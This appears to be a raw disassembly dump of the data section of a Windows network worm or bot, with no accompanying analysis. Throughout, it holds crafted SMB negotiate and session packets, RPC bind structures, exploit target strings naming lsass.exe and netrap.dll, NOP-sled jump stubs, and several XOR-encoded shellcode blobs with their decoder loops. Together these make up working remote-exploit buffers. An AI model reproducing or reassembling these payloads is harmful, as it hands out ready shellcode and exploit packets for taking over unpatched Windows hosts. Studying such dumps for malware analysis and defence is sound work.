dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_43EFF0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+59o
; sub_40DDD9+59o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_4: ; DATA XREF: sub_40D7FE+8Bo
; sub_40DDD9+8Bo
unicode 0, <C$>,0
a????? db '?????',0
dd 2 dup(0)
dword_43F058 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+2AEo
; sub_40DDD9+2D3o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_43F0C8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+2D5o
; sub_40DDD9+2FEo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43F170 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+3B4o
; sub_40DDD9+3E1o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_43F1F0 dd offset loc_401490+5 ; DATA XREF: sub_40D7FE+3E2o
; sub_40DDD9+40Fo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd offset loc_407077+5
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_43F288 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+30Ao
; sub_40DDD9+337o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_43F2F8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40D7FE+335o
; sub_40DDD9+362o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_43F370 dd 0 ; DATA XREF: sub_40D7FE+363o
; sub_40DDD9+390o
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
dword_43F3F8 dd 0AD9Dh ; DATA XREF: sub_40D7FE+EAr
; sub_40D7FE+41Er
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_43F438 dd 1004600h ; DATA XREF: sub_40D7FE+141r
; sub_40D7FE+249r ...
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_43F4F0 dd 0EB5D03EBh, 0FFF8E805h, 0C58BFFFFh, 3311C083h, 0C9B966C9h
; DATA XREF: sub_40E3B2+118o
dd 88308001h, 0DDFAE240h, 7C036403h, 88086409h, 0C4608888h
dd 1888889h, 0FE7774CEh, 0C606E074h, 0D9606486h, 1888889h
dd 0BBE04ECEh, 0E08888BAh, 0D7BAFBFFh, 4EDE77DCh, 7770CE01h
dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h, 88888988h
dd 777CCE01h, 51E070FEh, 60257D81h, 88888878h, 7778CE01h
dd 2CE070FEh, 604FF892h, 88888868h, 7764CE01h, 2CE070FEh
dd 6061A625h, 88888858h, 7760CE01h, 6DE070FEh, 60C10EC1h
dd 88888848h, 776ACE01h, 6FE070FEh, 60F14EF1h, 88888838h
dd 0BB5ECE01h, 7C640977h, 0DC888889h, 888989E0h, 7CDE7788h
dd 0D8D8D8D8h, 0D8C8D8C8h, 378DE77h, 0E0DFDF50h, 6FAB888Ah
dd 9EE24403h, 0DE77DBD9h, 77DBDF64h, 77BB60DEh, 77DBD9DFh
dd 58036ADEh, 0E036CE01h, 88ECE5EBh, 0B4AEE01h, 0B405244Ch
dd 0BB48BBACh, 9D490841h, 4E756A23h, 0CC98ACCCh, 0B5ACCC76h
dd 0C0ACDC01h, 0C4ACDC01h, 0D8ACDC01h, 98ACCC05h, 0D9D9D8DCh
dd 0C1D9C9D9h, 0FE77D9D9h, 0DE77D94Ah, 0E2440346h, 77B97777h
dd 40035ADEh, 7736FE77h, 16635EDEh, 0DE9CDE77h, 88B829ECh
dd 0C8038888h, 94F80384h, 80C80325h, 888C4AD6h, 0DFDEDDDBh
dd 90ACE403h, 3B4CD03h, 8BF08DDCh, 90C2035Dh, 8BA8D203h
dd 0C1BA6B55h, 8B03BC03h, 7477BB7Dh, 0B22448BBh, 498FFC4Ch
dd 708B8547h, 0F4B37A63h, 69FD9CACh, 8BACD203h, 8403EE55h
dd 94D203C3h, 8C03558Bh, 634D8B03h, 348BB8Ah, 0D5D6D75Dh
dd 888C4AD3h, 0
dword_43F6D8 dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40E3B2+7Bo
dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
dd 68736942h, 326B656Bh, 0FF333030h, 0
dd 1, 0
dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
dword_43F72C dd 7FFDF020h, 0 ; DATA XREF: sub_40E971+15Ao
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40E971+A5o
align 10h
dword_43F740 dd 10FF8h ; DATA XREF: sub_40E971+6Fo
dword_43F744 dd 10FF8h, 2 dup(0) ; DATA XREF: sub_40E971+36o
dword_43F750 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40ED91+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_0 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_0 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_0 db ' LM 0.12',0
align 4
dword_43F7D8 dd 0 ; DATA XREF: sub_40ED91+44o
dd 800000D4h, 0
dword_43F7E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40ED91+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 3 dup(0)
unk_43F818 db 81h ; ; DATA XREF: sub_40EE6B+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 2 dup(0)
byte_43F868 db 41h ; DATA XREF: sub_40F47A+104r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
aSvwfbA db 'SVWfì€',0 ; DATA XREF: .text:0040F753o
aIcsa db '‰æèí',0
db 2 dup(0), 0FFh
dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh
dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h
dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h
dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h
dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h
dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h
dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h
dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_43FA18 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh
; DATA XREF: .text:0040F701o
dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh
dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_43FAA8 dd 1000005h, 10h, 418h, 0 ; DATA XREF: .text:0040FC62o
dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0
dd 7E4h, 53004Fh, 3Ah
aPrivate: ; DATA XREF: .text:0040FC86o
unicode 0, <\PRIVATE$\>,0
align 4
dword_43FB04 dd 5, 10h, 418h, 0 ; DATA XREF: .text:0040FC93o
dd 400h, 90000h, 0
dword_43FB20 dd 2000005h, 10h, 404h, 0 ; DATA XREF: .text:0040FCBFo
dd 3ECh, 90000h, 0
dword_43FB3C dd 909008EBh, 4014E9h, 2 dup(90909090h), 909008EBh, 4014E9h
; DATA XREF: .text:0040FCD2o
dd 1AEB9090h, 6F684041h, 6F657375h, 62616466h, 41487375h
dd 909006EBh, 100124Dh, 90909090h, 9090h
dword_43FB78 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
; DATA XREF: .text:0040FD03o
dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h
dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h
dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
dd 0E7FBA65Ah
db 7Fh, 9Dh
word_43FC32 dw 551Ah ; DATA XREF: .text:0040FD0Cw
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0)
dword_43FCD8 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
; DATA XREF: .text:004103D6o
; .text:004104AFo
dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h
dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh
dword_43FD88 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: .text:00410305o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43FE70 dd 600EBh ; DATA XREF: .text:00410460o
dword_43FE74 dd 0FFF83FE9h, 0FFh ; DATA XREF: .text:00410393o
off_43FE7C dd offset aOrhaus ; DATA XREF: .text:00410481o
; "orhaus"
a2w:
unicode 0, <2w>,0
align 4
dword_43FE88 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; DATA XREF: .text:00410561o
; .text:0041061Do
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_43FED0 dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0
; DATA XREF: .text:0041040Eo
dd 419h
dword_43FEF4 dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0
; DATA XREF: .text:00410341o
dd 819h
dword_43FF18 dd 0BAADh, 40000h, 0 ; DATA XREF: .text:00410442o
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h
dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h
dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh, 0BCE2FD34h
dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh
dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h
dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh
dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h, 0AB0316D8h
dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h
dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h
dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h
dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh
dd 6FF714h, 0F450AEC3h, 0BE20C3AFh, 1D9B9B89h, 902F08B5h
dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h
dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah, 0CAA2048Eh
dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h
dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh
dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch
dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h
dd 3FD3839h, 8BC57D88h, 1615362Dh, 3C94E81Bh, 10890BE9h
dd 1114E699h, 2F8C54Fh, 0B195A1B8h, 0F62BCF58h, 3F3E17B2h
dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h
dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h
dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h
dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h
dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h
dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh
dd 7382EFFAh, 7B7D0CAh, 6E901B06h, 0F0B60013h, 24E563BBh
dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h, 0E2F4253Ch
dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h
dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h, 9CE4A188h
dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h
dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h
dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah
dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh
dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h
dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh, 0B1E658D7h
dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh
dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh
dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h, 656D84B4h
dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h, 4F7DCD50h
dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h
dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h
dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h
dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h
dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh
dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h
dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h
dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh, 27AFD30h
dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h, 0BFAA1B98h
dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh
dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh
dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h
dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h
dd 2 dup(0)
dword_4403E8 dd 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh
; DATA XREF: .text:00410375o
dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh), 0ABh, 0BAADh, 40000h
dd 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 1F500000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h
dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh
dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h, 0AE21D2C8h
dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h
dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh
dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h, 0B312E7C7h
dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h
dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h
dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh, 2A6FD55Eh
dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h, 3D5BB4C6h
dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh, 0B465545Eh
dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch
dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh
dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h
dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h
dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h
dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h
dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh
dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h, 0DE0497A4h
dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h, 0F94C833Dh
dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h, 75E3EE2Fh
dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh
dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h
dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch
dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h, 0E290152h
dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h, 0C5F77BDh
dd 364A9BCh, 6A7C6B6Fh, 6E90B28Dh, 6FF80013h, 780871B6h
dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h
dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h
dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh
dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h
dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh, 0B574DD10h
dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh
dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h
dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h, 2FF75D6Eh
dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh
dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh
dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h
dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h
dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h
dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h, 0D8153186h
dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h
dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h
dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h, 0F4FD1D47h
dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh
dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h
dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h
dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h, 0C573CD85h
dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h, 0DD83F934h
dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h
dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h
dd 15003D6h, 0E290152h, 0CF353A38h, 51B7263Eh, 8DCD3FD0h
dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh
dd 2 dup(0)
dword_4408E8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: .text:0041074Bo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_1 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_1 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_1 db ' LM 0.12',0
align 8
dword_440978 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:0041078Fo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 2 dup(0)
dword_440A28 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: .text:004107C2o
